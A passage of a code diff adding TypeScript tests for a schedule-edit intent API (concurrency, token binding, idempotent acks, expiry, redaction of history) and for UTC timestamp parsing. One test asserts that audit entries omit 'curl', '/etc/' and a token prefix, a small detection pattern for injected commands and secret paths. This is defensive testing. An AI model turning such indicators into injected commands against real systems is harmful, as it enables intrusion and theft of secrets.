];
|
|
195
|
+
for (const patch of invalidPatches) {
|
|
196
|
+
const denied = await api(ownerToken, `/api/nodes/${nodeId}/external-schedule-edits`, {
|
|
197
|
+
method: "POST",
|
|
198
|
+
body: JSON.stringify({ network_id: networkId, schedule_id: scheduleId, base_revision: 7, patch }),
|
|
199
|
+
});
|
|
200
|
+
expect(denied.status).toBe(400);
|
|
201
|
+
}
|
|
202
|
+
expect(db.get<any>("SELECT COUNT(*) AS count FROM external_schedule_edits")!.count).toBe(0);
|
|
203
|
+
});
|
|
204
|
+
|
|
205
|
+
test("concurrent owner requests create exactly one opaque pending intent", async () => {
|
|
206
|
+
const request = {
|
|
207
|
+
method: "POST",
|
|
208
|
+
body: JSON.stringify({
|
|
209
|
+
network_id: networkId,
|
|
210
|
+
schedule_id: scheduleId,
|
|
211
|
+
base_revision: 7,
|
|
212
|
+
patch: { cron: "0 */12 * * *", enabled: true },
|
|
213
|
+
}),
|
|
214
|
+
};
|
|
215
|
+
const responses = await Promise.all([
|
|
216
|
+
api(ownerToken, `/api/nodes/${nodeId}/external-schedule-edits`, request),
|
|
217
|
+
api(ownerToken, `/api/nodes/${nodeId}/external-schedule-edits`, request),
|
|
218
|
+
]);
|
|
219
|
+
expect(responses.map((value) => value.status).sort()).toEqual([202, 409]);
|
|
220
|
+
const accepted = responses.find((value) => value.status === 202)!;
|
|
221
|
+
expect(accepted.body.intent.intent_id).toMatch(/^sei_[0-9a-f-]+$/);
|
|
222
|
+
expect(accepted.body.intent.patch).toEqual({ enabled: true, cron: "0 */12 * * *" });
|
|
223
|
+
expect(accepted.body.intent.created_by_user).toBeUndefined();
|
|
224
|
+
expect(accepted.body.intent.created_by_token).toBeUndefined();
|
|
225
|
+
expect(db.get<any>("SELECT COUNT(*) AS count FROM external_schedule_edits")!.count).toBe(1);
|
|
226
|
+
|
|
227
|
+
const audit = db.get<any>("SELECT detail FROM audit_log WHERE action = 'external_schedule.edit_requested'")!;
|
|
228
|
+
expect(audit).toBeTruthy();
|
|
229
|
+
expect(audit.detail).not.toContain("curl");
|
|
230
|
+
expect(audit.detail).not.toContain("/etc/");
|
|
231
|
+
expect(audit.detail).not.toContain("utok_");
|
|
232
|
+
expect(JSON.parse(audit.detail).fields).toEqual(["cron", "enabled"]);
|
|
233
|
+
});
|
|
234
|
+
|
|
235
|
+
test("only the exact bound node token can claim; lost-response pull and terminal ack are idempotent", async () => {
|
|
236
|
+
const foreign = await api(foreignNodeToken, `/api/nodes/${nodeId}/external-schedule-edits/pending`);
|
|
237
|
+
expect(foreign.status).toBe(403);
|
|
238
|
+
expect(foreign.body.error).toBe("node_token_binding_required");
|
|
239
|
+
|
|
240
|
+
const first = await api(nodeToken, `/api/nodes/${nodeId}/external-schedule-edits/pending`);
|
|
241
|
+
expect(first.status).toBe(200);
|
|
242
|
+
expect(first.body.intent.status).toBe("delivered");
|
|
243
|
+
const intentId = first.body.intent.intent_id;
|
|
244
|
+
const repeated = await api(nodeToken, `/api/nodes/${nodeId}/external-schedule-edits/pending`);
|
|
245
|
+
expect(repeated.body.intent.intent_id).toBe(intentId);
|
|
246
|
+
|
|
247
|
+
const wrongRevision = await api(nodeToken, `/api/nodes/${nodeId}/external-schedule-edits/${intentId}/ack`, {
|
|
248
|
+
method: "POST", body: JSON.stringify({ status: "applied", result_revision: 99 }),
|
|
249
|
+
});
|
|
250
|
+
expect(wrongRevision.status).toBe(409);
|
|
251
|
+
expect(wrongRevision.body.error).toBe("invalid_result_revision");
|
|
252
|
+
|
|
253
|
+
const applied = await api(nodeToken, `/api/nodes/${nodeId}/external-schedule-edits/${intentId}/ack`, {
|
|
254
|
+
method: "POST", body: JSON.stringify({ status: "applied", result_revision: 8 }),
|
|
255
|
+
});
|
|
256
|
+
expect(applied.status).toBe(200);
|
|
257
|
+
expect(applied.body.intent.status).toBe("applied");
|
|
258
|
+
const retried = await api(nodeToken, `/api/nodes/${nodeId}/external-schedule-edits/${intentId}/ack`, {
|
|
259
|
+
method: "POST", body: JSON.stringify({ status: "applied", result_revision: 8 }),
|
|
260
|
+
});
|
|
261
|
+
expect(retried.status).toBe(200);
|
|
262
|
+
expect(retried.body.idempotent).toBe(true);
|
|
263
|
+
const contradictory = await api(nodeToken, `/api/nodes/${nodeId}/external-schedule-edits/${intentId}/ack`, {
|
|
264
|
+
method: "POST", body: JSON.stringify({ status: "rejected", error_code: "local_apply_failed" }),
|
|
265
|
+
});
|
|
266
|
+
expect(contradictory.status).toBe(409);
|
|
267
|
+
expect(contradictory.body.error).toBe("intent_already_terminal");
|
|
268
|
+
expect(db.get<any>("SELECT COUNT(*) AS count FROM audit_log WHERE action = 'external_schedule.edit_applied'")!.count).toBe(1);
|
|
269
|
+
});
|
|
270
|
+
|
|
271
|
+
test("a delivered intent expires with its TTL and cannot permanently wedge single-flight", async () => {
|
|
272
|
+
db.run("UPDATE sessions SET external_schedules = ?1, updated_at = datetime('now', '+1 second') WHERE node_id = ?2", [snapshot(8), nodeId]);
|
|
273
|
+
const created = await api(ownerToken, `/api/nodes/${nodeId}/external-schedule-edits`, {
|
|
274
|
+
method: "POST",
|
|
275
|
+
body: JSON.stringify({ network_id: networkId, schedule_id: scheduleId, base_revision: 8, patch: { enabled: false } }),
|
|
276
|
+
});
|
|
277
|
+
expect(created.status).toBe(202);
|
|
278
|
+
const claimed = await api(nodeToken, `/api/nodes/${nodeId}/external-schedule-edits/pending`);
|
|
279
|
+
expect(claimed.body.intent.intent_id).toBe(created.body.intent.intent_id);
|
|
280
|
+
db.run("UPDATE external_schedule_edits SET expires_at = ?1 WHERE intent_id = ?2", [Date.now() - 1, created.body.intent.intent_id]);
|
|
281
|
+
const afterExpiry = await api(nodeToken, `/api/nodes/${nodeId}/external-schedule-edits/pending`);
|
|
282
|
+
expect(afterExpiry.body.intent).toBeNull();
|
|
283
|
+
expect(db.get<any>("SELECT status FROM external_schedule_edits WHERE intent_id = ?1", created.body.intent.intent_id)!.status).toBe("expired");
|
|
284
|
+
|
|
285
|
+
const replacement = await api(ownerToken, `/api/nodes/${nodeId}/external-schedule-edits`, {
|
|
286
|
+
method: "POST",
|
|
287
|
+
body: JSON.stringify({ network_id: networkId, schedule_id: scheduleId, base_revision: 8, patch: { enabled: false } }),
|
|
288
|
+
});
|
|
289
|
+
expect(replacement.status).toBe(202);
|
|
290
|
+
db.run("DELETE FROM external_schedule_edits WHERE intent_id IN (?1, ?2)", [created.body.intent.intent_id, replacement.body.intent.intent_id]);
|
|
291
|
+
});
|
|
292
|
+
|
|
293
|
+
test("stale snapshot revision and read-only schedules fail closed without creating intent", async () => {
|
|
294
|
+
db.run("UPDATE sessions SET external_schedules = ?1, updated_at = datetime('now', '+1 second') WHERE node_id = ?2", [snapshot(8), nodeId]);
|
|
295
|
+
const stale = await api(ownerToken, `/api/nodes/${nodeId}/external-schedule-edits`, {
|
|
296
|
+
method: "POST",
|
|
297
|
+
body: JSON.stringify({ network_id: networkId, schedule_id: scheduleId, base_revision: 7, patch: { enabled: false } }),
|
|
298
|
+
});
|
|
299
|
+
expect(stale.status).toBe(409);
|
|
300
|
+
expect(stale.body.error).toBe("revision_conflict");
|
|
301
|
+
|
|
302
|
+
db.run("UPDATE sessions SET external_schedules = ?1, updated_at = datetime('now', '+2 second') WHERE node_id = ?2", [snapshot(8, { editable: false }), nodeId]);
|
|
303
|
+
const readOnly = await api(ownerToken, `/api/nodes/${nodeId}/external-schedule-edits`, {
|
|
304
|
+
method: "POST",
|
|
305
|
+
body: JSON.stringify({ network_id: networkId, schedule_id: scheduleId, base_revision: 8, patch: { enabled: false } }),
|
|
306
|
+
});
|
|
307
|
+
expect(readOnly.status).toBe(409);
|
|
308
|
+
expect(readOnly.body.error).toBe("schedule_read_only");
|
|
309
|
+
expect(db.get<any>("SELECT COUNT(*) AS count FROM external_schedule_edits")!.count).toBe(1);
|
|
310
|
+
});
|
|
311
|
+
|
|
312
|
+
test("owner history exposes no identity, token, network, or command metadata", async () => {
|
|
313
|
+
const listed = await api(ownerToken, `/api/nodes/${nodeId}/external-schedule-edits?network_id=${encodeURIComponent(networkId)}`);
|
|
314
|
+
expect(listed.status).toBe(200);
|
|
315
|
+
expect(listed.body.edits).toHaveLength(1);
|
|
316
|
+
const serialized = JSON.stringify(listed.body);
|
|
317
|
+
for (const secretField of ["created_by_user", "created_by_token", "consumed_by_token", "network_id", "command", "path", "env"]) {
|
|
318
|
+
expect(serialized).not.toContain(secretField);
|
|
319
|
+
}
|
|
320
|
+
});
|
|
321
|
+
});
|
|
@@ -0,0 +1,64 @@
|
|
|
1
|
+
import { describe, expect, it } from "bun:test";
|
|
2
|
+
import { parseHubTimestamp } from "./hub-timestamp";
|
|
3
|
+
|
|
4
|
+
// #1650 —— external-schedule-edits 的 publicEdit() 原先对四个时间列直接
|
|
5
|
+
// `new Date(row.x).toISOString()`。这些列是 SQLite `datetime('now')` 家族:
|
|
6
|
+
// **UTC 但不带时区标记**,而 JS 对「有时间、无偏移」的串按**本机时区**解析,
|
|
7
|
+
// 且不报错 ⇒ 发给 API 消费方的是一个错的时刻。
|
|
8
|
+
|
|
9
|
+
function hubIso(raw: unknown): string | null {
|
|
10
|
+
const ms = parseHubTimestamp(raw);
|
|
11
|
+
return ms === null ? null : new Date(ms).toISOString();
|
|
12
|
+
}
|
|
13
|
+
|
|
14
|
+
describe("#1650 hub 时间戳按 UTC 解析", () => {
|
|
15
|
+
it("🔴 无时区标记的串按 UTC 解析,不按本机时区", () => {
|
|
16
|
+
expect(hubIso("2026-08-30 21:04:11")).toBe("2026-08-30T21:04:11.000Z");
|
|
17
|
+
});
|
|
18
|
+
|
|
19
|
+
it("🔴 反向见证:旧写法在非 UTC 机器上会给出不同的结果", () => {
|
|
20
|
+
const old = new Date("2026-08-30 21:04:11").toISOString();
|
|
21
|
+
const now = hubIso("2026-08-30 21:04:11")!;
|
|
22
|
+
// 只有当本机恰好是 UTC 时两者才相同;此处断言的是「新写法等于 UTC 语义」,
|
|
23
|
+
// 而 old 的值取决于运行机器 —— 所以只在两者不同时才有对比意义。
|
|
24
|
+
const offsetMin = new Date("2026-08-30T21:04:11Z").getTimezoneOffset();
|
|
25
|
+
if (offsetMin !== 0) expect(old).not.toBe(now);
|
|
26
|
+
expect(now).toBe("2026-08-30T21:04:11.000Z");
|
|
27
|
+
});
|
|
28
|
+
|
|
29
|
+
it("带 Z 的串保持原意", () => {
|
|
30
|
+
expect(hubIso("2026-08-30T21:04:11Z")).toBe("2026-08-30T21:04:11.000Z");
|
|
31
|
+
});
|
|
32
|
+
|
|
33
|
+
it("🔴 垃圾串返回 null,而不是抛 RangeError(旧写法会把接口打成 500)", () => {
|
|
34
|
+
expect(hubIso("not-a-date")).toBeNull();
|
|
35
|
+
expect(hubIso(null)).toBeNull();
|
|
36
|
+
expect(hubIso(undefined)).toBeNull();
|
|
37
|
+
expect(() => new Date("not-a-date").toISOString()).toThrow();
|
|
38
|
+
});
|
|
39
|
+
});
|
|
40
|
+
|
|
41
|
+
// 🔴 上面四条测的是 helper 的语义。真正要钉住的是**那个文件用了它**——
|
|
42
|
+
// 否则 helper 再对,publicEdit 里改回 `new Date(row.x)` 也照样全绿。
|
|
43
|
+
import { readFileSync } from "node:fs";
|
|
44
|
+
import { join } from "node:path";
|
|
45
|
+
|
|
46
|
+
describe("#1650 publicEdit 必须走 hubIso,不能有裸 new Date(row.*)", () => {
|
|
47
|
+
const SRC = readFileSync(join(import.meta.dir, "external-schedule-edits.ts"), "utf-8");
|
|
48
|
+
const CODE = SRC.split("\n").filter(l => !/^\s*(\/\/|\*|\/\*)/.test(l)).join("\n");
|
|
49
|
+
|
|
50
|
+
it("🔴 源码里不再有裸 new Date(row.…)", () => {
|
|
51
|
+
expect(/new Date\(row\./.test(CODE)).toBe(false);
|
|
52
|
+
});
|
|
53
|
+
|
|
54
|
+
it("四个时间列都走 hubIso", () => {
|
|
55
|
+
for (const f of ["expires_at", "created_at", "delivered_at", "acked_at"]) {
|
|
56
|
+
expect(CODE).toContain(`${f}: hubIso(row.${f})`);
|
|
57
|
+
}
|
|
58
|
+
});
|
|
59
|
+
|
|
60
|
+
it("hubIso 复用 parseHubTimestamp,没有第二套判据", () => {
|
|
61
|
+
expect(CODE).toContain('from "./hub-timestamp"');
|
|
62
|
+
expect(CODE).toContain("parseHubTimestamp(raw)");
|
|
63
|
+
});
|
|
64
|
+
});
|